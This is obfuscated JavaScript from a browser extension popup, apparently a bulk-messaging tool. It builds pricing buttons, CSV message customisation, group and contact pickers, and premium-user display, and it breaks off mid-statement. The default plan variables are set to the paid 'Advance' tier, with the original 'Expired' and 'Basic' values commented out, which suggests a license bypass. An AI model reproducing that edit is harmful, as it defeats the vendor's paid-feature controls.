var csv_data = [],
  csv_name = "",
  my_number = null,
  logged_in_user = null,
  //plan_type = "Expired",
  plan_type = "Advance",
  //last_plan_type = "Basic",
  last_plan_type = "Advance",
  customer_email = "",
  popup_numbers = "";
let currentLanguage = "default",
  allLanguageCodes = ALL_LANGUAGE_CODES,
  libphone = libphonenumber,
  country_info = "",
  allGroups = [],
  allContacts = [],
  groups_selected = [],
  contacts_selected = [],
  messageToggleSwitchValue = "numbers",
  isMultipleAccount = !![],
  otherNumbers = [
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
    "+911111111111",
    "+912222222222",
    "+913333333333",
  ],
  parentEmail = "",
  showAllMultNumbers = !![],
  subscribed_date = null,
  attachment_obj = ![],
  group_obj = ![],
  customization_obj = ![],
  translatedSendObj,
  translatedGroupMsgObj,
  translatedCustomObj,
  translatedAttachments,
  translatedContactMsgObj,
  is_excel_uploaded = ![],
  lastScrollPosition = 0x0,
  lastScrollPosition_contacts = 0x0,
  selectedAll = ![],
  fetching = ![],
  isMac = navigator["platform"]["toLowerCase"]()["includes"]("mac"),
  isLinux = navigator["platform"]["toLowerCase"]()["includes"]("linux");
const ps_popup_0c = {};
(ps_popup_0c["name"] = "international"),
  (ps_popup_0c["name_code"] = "US"),
  (ps_popup_0c["currency"] = "USD");
let location_info = ps_popup_0c;
chrome["windows"]["getCurrent"]()["then"]((g) => {
  const T = {};
  (T["mFYoA"] = function (b, O) {
    return b === O;
  }),
    (T["ZSmSz"] = "fullscreen"),
    (T["HiURI"] = "normal");
  const f = T;
  if (f["mFYoA"](g["state"], f["ZSmSz"]) && isMac) {
    const b = {};
    (b["state"] = f["HiURI"]), chrome["windows"]["update"](g["id"], b);
  }
}),
  $(function () {
    const c = {
      iTuFA: function (p) {
        return p();
      },
    };
    c["iTuFA"](init);
  });
async function convertPriceToLocale(p) {
  const g = {
      hFBXT: function (L, F) {
        return L(F);
      },
      xiBpB: "currency",
      uWsWu: function (L, F) {
        return L * F;
      },
    },
    T =
      "https://cdn.jsdelivr.net/npm/@fawazahmed0/currency-api@latest/v1/currencies/usd.json",
    f = await g["hFBXT"](fetch, T),
    b = await f["json"]();
  let { currency: O } = location_info;
  const i = {};
  (i["style"] = g["xiBpB"]),
    (i["currency"] = O),
    (i["maximumFractionDigits"] = 0x0);
  let e = new Intl["NumberFormat"]("en-US", i),
    s = b["usd"][O["toLowerCase"]()],
    o = e["format"](
      Math["round"](g["uWsWu"](s * 1.02, g["hFBXT"](parseFloat, p)))
    );
  return o;
}
async function multipleAccountButton() {
  const c = {
    OfeLg: "international",
    nnNWo: function (f, b) {
      return f === b;
    },
    pVPdX: "india",
    uaeAu: "<span\x20class=\x22rupee\x22>₹</span>",
    sEHbP: function (f, b) {
      return f != b;
    },
    ijsZa: "USD",
    qEIjZ: function (f, b) {
      return f(b);
    },
  };
  let { name: p, name_code: g, currency: T } = location_info;
  return (
    Object["keys"](COUNTRY_WITH_SPECIFIC_PRICING)["includes"](g)
      ? (p = COUNTRY_WITH_SPECIFIC_PRICING[g])
      : (p = c["OfeLg"]),
    "<a\x20href=\x22https://prime-sender.com/pricing/multiple-account/?numAccounts=25\x22\x20target=\x22_blank\x22\x20class=\x22popup-btn\x20pricing-purple-btn\x20CtaBtn\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22white-space:nowrap;\x22>Buy\x20multiple\x20users<br/></span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22white-space:nowrap;\x20color:\x20#fff;\x20font-size:\x2014px;\x20line-height:\x2016px;font-weight:bold;display:flex;\x22><span\x20style=\x22margin-right:3px;\x22>@</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
      (c["nnNWo"](p, c["pVPdX"]) ? c["uaeAu"] : "") +
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22price_class\x22>" +
      MULT25ACCOUNTPRICE[p] +
      "</span>/month\x0a\x20\x20\x20\x20\x20\x20\x20\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
      (c["nnNWo"](p, c["OfeLg"]) && c["sEHbP"](T, c["ijsZa"])
        ? "<span\x20style=\x22white-space:nowrap;\x20color:\x20#fff;\x20font-size:\x2012px;\x20line-height:\x2016px;font-weight:bold;\x22>\x20\x0a(~<span\x20class=\x22price_class\x22>" +
          (await c["qEIjZ"](
            convertPriceToLocale,
            MULT25ACCOUNTPRICE[p]["substring"](0x1)
          )) +
          "</span>/month)\x0a</span>"
        : "") +
      "\x0a\x20\x20\x20\x20</a>"
  );
}
async function basicButton(c = "", p = "", g = "") {
  const T = {
    wtDTZ: "international",
    cgPvF: function (e, s) {
      return e == s;
    },
    yePau: function (e, s) {
      return e(s);
    },
    cXzAR: "https://prime-sender.com/pricing",
    YQAkv: function (e, s) {
      return e === s;
    },
    FidXh: "USD",
  };
  let { name: f, name_code: b, currency: O } = location_info;
  Object["keys"](COUNTRY_WITH_SPECIFIC_PRICING)["includes"](b)
    ? (f = COUNTRY_WITH_SPECIFIC_PRICING[b])
    : (f = T["wtDTZ"]);
  let i = g;
  return (
    (!g || T["cgPvF"](g, "")) &&
      (i = await T["yePau"](convertPriceToLocale, p["substring"](0x1))),
    (c = T["cXzAR"]),
    "<a\x20href=\x22" +
      c +
      "\x22\x20target=\x22_blank\x22\x20class=\x22popup-btn\x20pricing-white-btn\x20CtaBtn\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20Buy\x20Premium<br/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22white-space:nowrap;\x20color:\x20#009a88;\x20font-size:\x2014px;\x20line-height:\x2016px;font-weight:bold;display:flex;\x22><span\x20style=\x22margin-right:3px;\x22>@</span>\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
      (f === "india" ? "<span\x20class=\x22rupee\x22>₹</span>" : "") +
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22price_class\x22>" +
      p +
      "</span>/month\x0a\x20\x20\x20\x20\x20\x20\x20\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
      (T["YQAkv"](f, T["wtDTZ"]) && O != T["FidXh"]
        ? "<span\x20style=\x22white-space:nowrap;\x20color:\x20#009a88;\x20font-size:\x2012px;\x20line-height:\x2016px;font-weight:bold;\x22>\x0a(~<span\x20class=\x22price_class\x22>" +
          i +
          "</span>/month)\x0a</span>"
        : "") +
      "\x0a\x20\x20\x20\x20</a>"
  );
}
async function advanceButton(c = "", p = "", g = "") {
  const T = {
    qhCdR: function (e, s) {
      return e == s;
    },
    gopiB: function (e, s) {
      return e(s);
    },
    okdGD: "FreeTrial",
    DMiln: "AdvancePromo",
    YNwcb: function (e, s) {
      return e === s;
    },
    OjgFH: "india",
    MxSPU: "international",
    BaBvY: function (e, s) {
      return e != s;
    },
    vELCx: "USD",
  };
  let { name: f, name_code: b, currency: O } = location_info;
  Object["keys"](COUNTRY_WITH_SPECIFIC_PRICING)["includes"](b)
    ? (f = COUNTRY_WITH_SPECIFIC_PRICING[b])
    : (f = "international");
  let i = g;
  return (
    (!g || T["qhCdR"](g, "")) &&
      (i = await T["gopiB"](convertPriceToLocale, p["substring"](0x1))),
    (last_plan_type == T["okdGD"] || T["qhCdR"](last_plan_type, T["DMiln"])) &&
      (c = "https://prime-sender.com/pricing"),
    "<a\x20href=\x22" +
      c +
      "\x22\x20target=\x22_blank\x22\x20class=\x22popup-btn\x20pricing-white-btn\x20CtaBtn\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20Buy\x20Advance<br/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22white-space:nowrap;\x20color:\x20#009a88;\x20font-size:\x2014px;\x20line-height:\x2016px;font-weight:bold;display:flex;\x22><span\x20style=\x22margin-right:3px;\x22>@</span>\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" +
      (T["YNwcb"](f, T["OjgFH"])
        ? "<span\x20class=\x22rupee\x22>₹</span>"
        : "") +
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22price_class\x22>" +
      p +
      "</span>/month\x0a\x20\x20\x20\x20\x20\x20\x20\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20" +
      (f === T["MxSPU"] && T["BaBvY"](O, T["vELCx"])
        ? "<span\x20style=\x22white-space:nowrap;\x20color:\x20#009a88;\x20font-size:\x2012px;\x20line-height:\x2016px;font-weight:bold;\x22>\x20\x0a(~<span\x20class=\x22price_class\x22>" +
          i +
          "</span>/month)\x0a</span>"
        : "") +
      "\x0a\x20\x20\x20\x20</a>"
  );
}
async function fetchTranslations(c) {
  const p = {
      qJKwT: function (T, f) {
        return T(f);
      },
      FUhSc: function (T, f) {
        return T(f);
      },
    },
    g = JSON["parse"](JSON["stringify"](c));
  for (const T of g["steps"]) {
    T["popover"] &&
      ((T["popover"]["title"] = await p["qJKwT"](
        translate,
        T["popover"]["title"]
      )),
      (T["popover"]["description"] = await p["FUhSc"](
        translate,
        T["popover"]["description"]
      )));
  }
  return g;
}
function handleMoreButtons() {
  const c = {
      cZTje: "active-class",
      bGbDd: function (f, b) {
        return f(b);
      },
      GyvkY: "#tours",
      AMymr: ".attachment-instructions-btn",
      YkmYF: function (f, b) {
        return f > b;
      },
      cqByO: function (f, b) {
        return f(b);
      },
      yaNuo:
        "<button\x20class=\x22attachment-instructions-btn\x20more-btn\x22><span\x20class=\x22attachment-instructions-text\x20attachment-instructions\x20CtaBtn\x22>...more</span></button>",
    },
    p = c["bGbDd"]($, c["GyvkY"]),
    g = p["find"](c["AMymr"]),
    T = 0x3;
  if (c["YkmYF"](g["length"], T)) {
    g["slice"](T)["hide"]();
    const f = c["cqByO"]($, c["yaNuo"]);
    p["append"](f),
      f["on"]("click", function () {
        g["slice"](T)["addClass"](c["cZTje"]), f["remove"]();
      });
  }
}
window["addEventListener"]("DOMContentLoaded", (c) => {
  const p = {
    OjQfB: "input#schedule_time",
    cqBBx: "input[name=\x22message_type\x22]:checked",
    QvlAB: "change",
    ykWFN: function (f) {
      return f();
    },
    MGUbh: "#schedule_day",
    pDjbe: function (f) {
      return f();
    },
    hjttm: function (f, b, O) {
      return f(b, O);
    },
    AejAT: "input[name=\x22message_type\x22]",
  };
  handleMoreButtons(), p["ykWFN"](handleDeleteBin);
  var g = document["querySelector"](p["MGUbh"]);
  g["valueAsDate"] = new Date();
  let T = p["pDjbe"](getCurrentTimein24HourFormat);
  p["hjttm"](
    setTimeout,
    () => {
      document["querySelector"](p["OjQfB"])["value"] = T;
    },
    0x64
  ),
    document["querySelectorAll"](p["AejAT"])["forEach"]((f) => {
      f["addEventListener"](p["QvlAB"], () => {
        const b = document["querySelector"](p["cqBBx"])["value"];
        toggleSendMessageToInput(b);
      });
    });
});
function showCustomizeContainer() {
  const p = {};
  (p["ZFUhk"] = ".message-box"),
    (p["aZcWB"] = ".customize_container"),
    (p["XTIhZ"] = ".message-box\x20.attachment-instruction-secondary"),
    (p["BTLow"] = "0px"),
    (p["ESgep"] = "3px\x203px\x200px\x200px"),
    (p["Siaey"] = "true");
  const g = p,
    T = document["querySelector"](g["ZFUhk"]),
    f = document["querySelector"](g["aZcWB"]),
    b = document["querySelector"](g["XTIhZ"]);
  T &&
    ((T["style"]["marginBottom"] = g["BTLow"]),
    (T["style"]["borderRadius"] = g["ESgep"])),
    b && (b["hidden"] = g["Siaey"]),
    f && (f["style"]["display"] = "flex");
}
function hideCustomizationContainer() {
  const p = {};
  (p["KshwD"] = ".message-box"),
    (p["aYQxE"] = ".customize_container"),
    (p["dzDHt"] = ".caption_customize_container"),
    (p["lEbWt"] = ".message-box\x20.attachment-instruction-secondary"),
    (p["qxxBn"] = "10px"),
    (p["IXRwQ"] = "3px"),
    (p["tUeXk"] = "none");
  const g = p,
    T = document["querySelector"](g["KshwD"]),
    f = document["querySelector"](g["aYQxE"]),
    b = document["querySelector"](g["dzDHt"]),
    O = document["querySelector"](g["lEbWt"]);
  T &&
    ((T["style"]["marginBottom"] = g["qxxBn"]),
    (T["style"]["borderRadius"] = g["IXRwQ"])),
    O && (O["hidden"] = ![]),
    f && (f["style"]["display"] = "none"),
    b && (b["style"]["display"] = g["tUeXk"]),
    showCaptionCustomizationContainer(![]);
}
function populateCustomizeData() {
  const p = {};
  (p["WEHXi"] = function (b, O) {
    return b + O;
  }),
    (p["FNVhX"] = "\x20{{"),
    (p["ANrOH"] = "captionForIndividualAttachment"),
    (p["lXHrF"] = "hide"),
    (p["kNqpr"] = "3|0|2|1|4"),
    (p["fNfMz"] = ".caption-input"),
    (p["tsbkd"] = "click"),
    (p["DoLdb"] = ".customize_section"),
    (p["DKsSb"] = ".caption_customize_section"),
    (p["UhOts"] = ".customize_box");
  const g = p;
  column_headers = csv_data[0x0];
  const T = document["querySelector"](g["DoLdb"]),
    f = document["querySelector"](g["DKsSb"]);
  if (T) {
    T["innerHTML"] = "";
    let b =
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22customize_heading\x22>Customizations:\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20";
    column_headers["forEach"]((i, e) => {
      b += "<div\x20class=\x22customize_box\x20CtaBtn\x22>" + i + "</div>";
    }),
      (T["innerHTML"] = b);
    const O = document["querySelectorAll"](g["UhOts"]);
    O["forEach"]((i, e) => {
      const s = {
        WvcSF: "textarea#message",
        bJYGU: function (o, L) {
          return g["WEHXi"](o, L);
        },
        zgQim: g["FNVhX"],
      };
      i["addEventListener"]("click", (o) => {
        var L = document["querySelector"](s["WvcSF"])["value"];
        (L += s["bJYGU"](s["zgQim"], o["target"]["innerText"]) + "}}"),
          (document["querySelector"]("textarea#message")["value"] = L);
        const F = {};
        (F["popup_message"] = L), chrome["storage"]["local"]["set"](F);
      });
    });
  }
  if (f) {
    f["innerHTML"] = "";
    let i =
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22customize_heading\x22>Customizations:\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20";
    column_headers["forEach"]((s, o) => {
      i +=
        "<div\x20class=\x22caption_customize_box\x20CtaBtn\x22>" + s + "</div>";
    }),
      (f["innerHTML"] = i);
    const e = document["querySelectorAll"](".caption_customize_box");
    e["forEach"]((s, o) => {
      const L = {};
      (L["MlGwQ"] = g["ANrOH"]),
        (L["aShAD"] = g["lXHrF"]),
        (L["GyQgR"] = g["kNqpr"]),
        (L["WJJOa"] = function (w, j) {
          return w + j;
        }),
        (L["lmsed"] = g["fNfMz"]);
      const F = L;
      s["addEventListener"](g["tsbkd"], async (w) => {
        const j = {
          vTzZX: F["MlGwQ"],
          xBQdn: F["aShAD"],
          PBrVa: F["GyQgR"],
          MiUPE: function (J, M) {
            return F["WJJOa"](J, M);
          },
          pRfwr: function (J, M) {
            return F["WJJOa"](J, M);
          },
        };
        let x = await new Promise((J) => {
          chrome["storage"]["local"]["get"]([j["vTzZX"]], (M) => {
            J(M["captionForIndividualAttachment"] || []);
          });
        });
        document["querySelectorAll"](F["lmsed"])["forEach"]((J) => {
          if (!J["classList"]["contains"](j["xBQdn"])) {
            const Y = j["PBrVa"]["split"]("|");
            let v = 0x0;
            while (!![]) {
              switch (Y[v++]) {
                case "0":
                  J["value"] += j["MiUPE"](
                    j["pRfwr"]("\x20{{", w["target"]["innerText"]),
                    "}}"
                  );
                  continue;
                case "1":
                  const l = {};
                  (l["captionForIndividualAttachment"] = x),
                    chrome["storage"]["local"]["set"](l);
                  continue;
                case "2":
                  x[M] = J["value"];
                  continue;
                case "3":
                  var M = J["id"]["substring"](J["id"]["search"](/\d/));
                  continue;
                case "4":
                  return;
              }
              break;
            }
          }
        });
      });
    });
  }
}
function showCaptionCustomizationContainer(p) {
  const g = {};
  (g["uDLVx"] = ".caption_customize_container"), (g["rBhIV"] = "flex");
  const T = g,
    f = document["querySelector"](T["uDLVx"]);
  if (f) {
    if (p) f["style"]["display"] = T["rBhIV"];
    else f["style"]["display"] = "none";
  }
}
async function toggleCaptionCustomizationInputDiv() {
  const c = {
      twPDx: function (T, f) {
        return T(f);
      },
      OChYN: "csv_data",
      okKxy: ".caption_customization_input_div",
      XSsad: function (T, f) {
        return T > f;
      },
    },
    p = document["querySelector"](c["okKxy"]);
  let g = await new Promise((T) => {
    chrome["storage"]["local"]["get"]([c["OChYN"]], (f) => {
      c["twPDx"](T, f["csv_data"] || []);
    });
  });
  if (p) {
    if (c["XSsad"](g["length"], 0x0))
      c["twPDx"](showCaptionCustomizationContainer, !![]);
    else showCaptionCustomizationContainer(![]);
  }
}
function renderItems({
  name: p,
  objId: g,
  serizalizeId: T,
  isFirst: isFirst = ![],
  isGroup: isGroup = !![],
}) {
  const f = {};
  (f["UlPcE"] = "data-id-field"),
    (f["AWhVT"] = "hide"),
    (f["xkVSd"] = "groups"),
    (f["CtTgv"] = "contacts"),
    (f["IufMm"] = "click"),
    (f["mKsYM"] = ".groups_display_box"),
    (f["pbXTy"] = function (L, F) {
      return L <= F;
    }),
    (f["EIdIP"] = "Contact"),
    (f["EKGeL"] = ".delete_group_tag");
  const b = f,
    O = b["mKsYM"],
    i = document["querySelector"](O);
  let e = isGroup ? groups_selected : contacts_selected,
    s = i["innerHTML"];
  (b["pbXTy"](e["length"], 0x1) || isFirst) && (s = "");
  (s +=
    "<span\x20class=\x22group_tag\x20CtaBtn\x22\x20id=" +
    g +
    "\x20data-id-field=" +
    T +
    ">\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22group\x22>" +
    p +
    "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22delete_group_tag\x22\x20src=\x22./logo/closeBtn.png\x22\x20title=\x22Remove\x20" +
    (isGroup ? "Group" : b["EIdIP"]) +
    "\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</span>"),
    (i["innerHTML"] = s);
  const o = document["querySelectorAll"](b["EKGeL"]);
  o["forEach"]((L) => {
    L["addEventListener"](b["IufMm"], function () {
      let F = this["parentElement"]["id"],
        w = this["parentElement"]["getAttribute"](b["UlPcE"]);
      e = e["filter"]((J) => J != w);
      isGroup ? (groups_selected = e) : (contacts_selected = e);
      const j = { [isGroup ? "groups_selected" : "contacts_selected"]: e };
      chrome["storage"]["local"]["set"](j);
      const x = document["querySelector"]("#group_container\x20#" + F);
      if (x) x["classList"]["remove"](b["AWhVT"]);
      this["parentElement"]["remove"]();
      if (e["length"] == 0x0)
        i["innerHTML"] =
          "<p\x20style=\x22color:gray;font-size:13px;margin:0px;\x22>Select\x20" +
          (isGroup ? b["xkVSd"] : b["CtTgv"]) +
          "\x20from\x20the\x20dropdown\x20.\x20.\x20.</p>";
    });
  });
}
function showItems(c = !![]) {
  const p = {
      sUkej: "hide",
      QApUo: ".select_all",
      vJOSo: "data-id-field",
      oIFAT: "contacts_selected",
      RTRqd: function (i, e) {
        return i === e;
      },
      UXrWV: function (i) {
        return i();
      },
      oLpnd: "#groups_container",
      iSPjF: "input",
      SXqch: "#groups_container\x20.dropdown-item",
    },
    g = document["querySelector"](p["oLpnd"]);
  g["innerHTML"] = "";
  let T = c ? groups_selected : contacts_selected,
    f = c ? allGroups : allContacts,
    b = "";
  f["forEach"]((i) => {
    !T["includes"](i["id"]["_serialized"]) &&
      (b +=
        "<div\x20class=\x22dropdown-item\x22\x20id=" +
        i["objId"] +
        "\x20data-id-field=" +
        i["id"]["_serialized"] +
        ">" +
        i["name"] +
        "</div>");
  }),
    (g["innerHTML"] = b),
    document["querySelector"](".search_group_input")["addEventListener"](
      p["iSPjF"],
      function () {
        const i = {};
        i["ubABo"] = p["sUkej"];
        const e = i;
        let s = this["value"]["toLowerCase"]();
        s !== ""
          ? document["querySelector"](p["QApUo"])["classList"]["remove"](
              p["sUkej"]
            )
          : document["querySelector"](".select_all")["classList"]["add"](
              p["sUkej"]
            ),
          f["forEach"]((o) => {
            const L = document["querySelector"](
              "#groups_container\x20#" + o["objId"]
            );
            o["name"]?.["toLowerCase"]()["includes"](s) &&
            !T["includes"](o["id"]["_serialized"])
              ? L?.["classList"]["remove"](e["ubABo"])
              : L?.["classList"]["add"]("hide");
          });
      }
    );
  const O = document["querySelectorAll"](p["SXqch"]);
  O["forEach"]((i) => {
    const e = {
      imXZy: p["vJOSo"],
      ntusb: p["oIFAT"],
      vpNrY: function (s, o) {
        return p["RTRqd"](s, o);
      },
      hkCSl: function (s) {
        return p["UXrWV"](s);
      },
    };
    i["addEventListener"]("click", function () {
      let s = this["id"],
        o = this["innerText"],
        L = this["getAttribute"](e["imXZy"]);
      if (!T["includes"](L)) {
        T["push"](L);
        const F = { [c ? "groups_selected" : e["ntusb"]]: T };
        chrome["storage"]["local"]["set"](F);
        const w = {};
        (w["name"] = o),
          (w["objId"] = s),
          (w["serizalizeId"] = L),
          (w["isGroup"] = c),
          renderItems(w),
          i["classList"]["add"]("hide");
      }
      e["vpNrY"](g["clientHeight"], 0x0) &&
        document["querySelector"](".groups_searchbar")["click"](),
        e["hkCSl"](handleDeleteBin);
    });
  });
}
async function handleSelectAll() {
  const p = {};
  (p["QVFbc"] = "#groups_container\x20.dropdown-item"),
    (p["eqGbW"] = "hide"),
    (p["fHBsz"] = ".message-box"),
    (p["VPtSZ"] = "hide_visibility");
  const g = p,
    T = document["querySelectorAll"](g["QVFbc"]),
    f = document["querySelector"]("#groups_container");
  T["forEach"]((b) => {
    !b["classList"]["contains"]("hide") && b["click"]();
  }),
    f["classList"]["add"](g["eqGbW"]),
    document["querySelector"](g["fHBsz"])["classList"]["remove"](g["VPtSZ"]);
}
function initvars() {
  const c = {
    fTpAn: function (p, g) {
      return p(g);
    },
    cRHby: "hide",
    rZIxW: "#schedule_selector",
    ejTJB: "active",
    QwefP: "scheduled_campaigns",
    FgHND: function (p, g) {
      return p !== g;
    },
    OsrHU: function (p, g) {
      return p !== g;
    },
    TNfMh: function (p, g) {
      return p !== g;
    },
    WXRPm: "2|0|3|4|1",
    kxbbe: function (p, g) {
      return p(g);
    },
    SFCqi: function (p) {
      return p();
    },
    LyQRt: function (p, g) {
      return p === g;
    },
    mQcrB: "add_number_popup",
    VIalE: "block",
    gkwjw: function (p, g) {
      return p(g);
    },
    LnOsf: "my_number_popup",
    ZsWEW: function (p) {
      return p();
    },
    ldVBr: ".premium_feature_block",
    TTOIY: "flex",
    UnllA: function (p, g) {
      return p + g;
    },
    WDEVI: "\x20-\x20",
    JjdfA: "user_info_text",
    FFHuA: "add_business_img",
    LhTxn: "logo/user-1.png",
    RLuIv: "premium_support_block",
    pJqjE: "non_premium_header_text",
    QoKui: "none",
    gaqKT: function (p) {
      return p();
    },
    FkrOn: function (p) {
      return p();
    },
    ICzKa: ".what_is_advancepromo_block",
    RcWVZ: function (p) {
      return p();
    },
    vsNmN: "#time_gap_checked",
    LNuSg: "time_gap_type",
    pKXRY: function (p, g) {
      return p(g);
    },
    hAyYV: "#slider_time_gap_sec",
    tzQjm: function (p, g) {
      return p > g;
    },
    faCyd: function (p, g) {
      return p - g;
    },
    AjUps: function (p, g) {
      return p == g;
    },
    QYvop: "#time_gap_sec",
    AYSfC: "#batch_checked",
    sJrRp: "batch_info",
    jZWig: "grid",
    tlySJ: "#slider_batch_size",
    iwpct: function (p, g) {
      return p(g);
    },
    XXlcx: "#slider_batch_gap",
    RrnoR: function (p, g) {
      return p - g;
    },
    ujEwO: "#batch_gap",
    BNbUk: "#sec",
    sEflX: "live_support_text",
    ylvnX: "email_support_text",
    kdIbq: function (p, g) {
      return p == g;
    },
    SOFOz: "groups",
    JuOcU: "#message_type_groups",
    ZGTfU: function (p, g) {
      return p == g;
    },
    bHZAJ: "contacts",
    OlyUb: "#message_type_contact",
    bSxUM: "numbers",
    iHRDt: function (p, g) {
      return p !== g;
    },
    gqvlm: "#message",
    drzZK: function (p, g) {
      return p > g;
    },
    yrTzI: function (p, g) {
      return p(g);
    },
    SEtLa: "shimmer",
    Qfjca: function (p, g) {
      return p(g);
    },
    trOoD: function (p, g) {
      return p + g;
    },
    cuLJt: function (p, g) {
      return p == g;
    },
    Zrwsi: function (p, g) {
      return p > g;
    },
    IZKty: "#add-attachments",
    TmdgP: function (p, g) {
      return p + g;
    },
    hytyV: "click",
    eCNvr: function (p, g) {
      return p(g);
    },
    nzFWX: function (p, g) {
      return p(g);
    },
    gZNxV: function (p, g, T, f) {
      return p(g, T, f);
    },
    ZWlQx: "linuxInputAttachments",
    UOaXa: "select-attachments",
    BJIZR: function (p, g, T, f) {
      return p(g, T, f);
    },
    vSyal: "linuxCSVAttachment",
    gLtAj: "csv",
    oiBUP: "popup_message",
    hQSuV: "show_advance_options",
    LoCRP: "time_gap",
    mSnYV: "time_gap_checked",
    XpEBe: "batch_checked",
    fctLU: "batch_size",
    wnGqZ: "batch_gap",
    fFCrG: "file_name",
    mmaYN: "customization",
    AgAPJ: "schedule_time",
    wandS: "my_number",
    osncZ: "plan_type",
    fEEJq: "last_plan_type",
    SRvWt: "customer_name",
    csERb: "premiumUsageObject",
    Zvyfv: "countOfDaysTranslateUsed",
    OKcqS: "attachmentShimmerLastShowed",
    nknNh: "pausedCampaign",
    UyQNt: "allGroupData",
    dLqvj: "allContactData",
    sYnwY: "groups_selected",
    jlQJe: "contacts_selected",
    oypSl: "send_messages_to",
    kTKyB: "subscribed_date",
    jHqaU: "location_info",
  };
  (document["getElementById"](c["LNuSg"])["style"]["display"] = c["QoKui"]),
    chrome["storage"]["local"]["get"](
      [
        c["oiBUP"],
        c["hQSuV"],
        c["LoCRP"],
        c["mSnYV"],
        c["LNuSg"],
        c["XpEBe"],
        c["fctLU"],
        c["wnGqZ"],
        c["fFCrG"],
        "csv_data",
        c["mmaYN"],
        c["AgAPJ"],
        c["wandS"],
        c["osncZ"],
        c["fEEJq"],
        c["SRvWt"],
        "customer_email",
        c["csERb"],
        c["Zvyfv"],
        "lastDaySinceTranslateUsed",
        c["OKcqS"],
        "countOfDaysAttachmentShimmerShown",
        c["nknNh"],
        c["UyQNt"],
        c["dLqvj"],
        c["sYnwY"],
        c["jlQJe"],
        c["oypSl"],
        "resumeCampaign",
        c["kTKyB"],
        "linuxInputAttachments",
        "linuxCSVAttachment",
        c["jHqaU"],
        "currentLanguage",
      ],
      function (f) {
        f["currentLanguage"] && (currentLanguage = f["currentLanguage"]);
        c["FgHND"](f["popup_message"], undefined) &&
          (document["querySelector"]("textarea#message")["value"] =
            f["popup_message"]);
        c["OsrHU"](f["schedule_time"], undefined) &&
          (document["querySelector"]("#schedule_time")["value"] =
            f["schedule_time"]);
        f["allGroupData"] && (allGroups = f["allGroupData"]);
        f["allContactData"] && (allContacts = f["allContactData"]);
        f["subscribed_date"] && (subscribed_date = f["subscribed_date"]);
        if (f["file_name"] !== undefined && c["TNfMh"](f["file_name"], "")) {
          const F = c["WXRPm"]["split"]("|");
          let w = 0x0;
          while (!![]) {
            switch (F[w++]) {
              case "0":
                c["kxbbe"](set_csv_styles, f["file_name"]);
                continue;
              case "1":
                if (csv_data) {
                  var b = csv_data[0x0];
                  populateCustomizeData();
                }
                continue;
              case "2":
                is_excel_uploaded = !![];
                continue;
              case "3":
                c["SFCqi"](showCustomizeContainer);
                continue;
              case "4":
                csv_data = f["csv_data"];
                continue;
            }
            break;
          }
        }
        if (c["LyQRt"](f["my_number"], undefined)) my_number = null;
        else my_number = f["my_number"];
        !my_number &&
          ((document["getElementById"](c["mQcrB"])["style"]["display"] =
            c["VIalE"]),
          c["gkwjw"](trackButtonView, c["mQcrB"]));
        c["FgHND"](f["plan_type"], undefined) && (plan_type = f["plan_type"]);
        f["last_plan_type"] !== undefined &&
          (last_plan_type = f["last_plan_type"]);
        location_info = f["location_info"] || location_info;
        if (f["customer_email"] !== undefined)
          customer_email = f["customer_email"];
        c["fTpAn"](loadScheduledCampaigns, f["scheduled_campaigns"]),
          c["SFCqi"](scheduleExpiredPopup),
          trackEvent(c["LnOsf"], my_number);
        if (c["ZsWEW"](isPremium)) {
       
          document["querySelector"](c["ldVBr"])["style"]["display"] =
            c["TTOIY"];
          if (f["customer_name"]) {
            let j = f["customer_name"]["trim"]()["split"]("\x20")[0x0];
            document["getElementById"]("user_info_text")["innerHTML"] = c[
              "UnllA"
            ](
              c["UnllA"](
                "<div\x20class=\x27premium_username\x27\x20style=\x22font-weight:\x20700;\x20display:\x20inline;\x20word-break:\x20break-word;\x22>" +
                  j +
                  "</div>",
                c["WDEVI"]
              ),
              "<div\x20style=\x22display:\x20inline;\x20font-weight:\x20500;\x22\x20class=\x22premium_user_plan_type\x22>" +
                plan_type +
                "\x20Premium</div>"
            );
          } else
            document["getElementById"](c["JjdfA"])["innerHTML"] =
              "<div\x20style=\x22display:\x20inline;\x20font-weight:\x20500;\x20margin-left:10px\x22\x20class=\x22premium_user_plan_type\x22>" +
              plan_type +
              "\x20Premium</div>";
          (document["getElementById"](c["FFHuA"])["src"] = c["LhTxn"]),
            (document["getElementById"](c["RLuIv"])["style"]["display"] =
              "block"),
            (document["getElementById"](c["pJqjE"])["style"]["display"] =
              c["QoKui"]),
            (document["getElementById"](c["JjdfA"])["style"]["display"] =
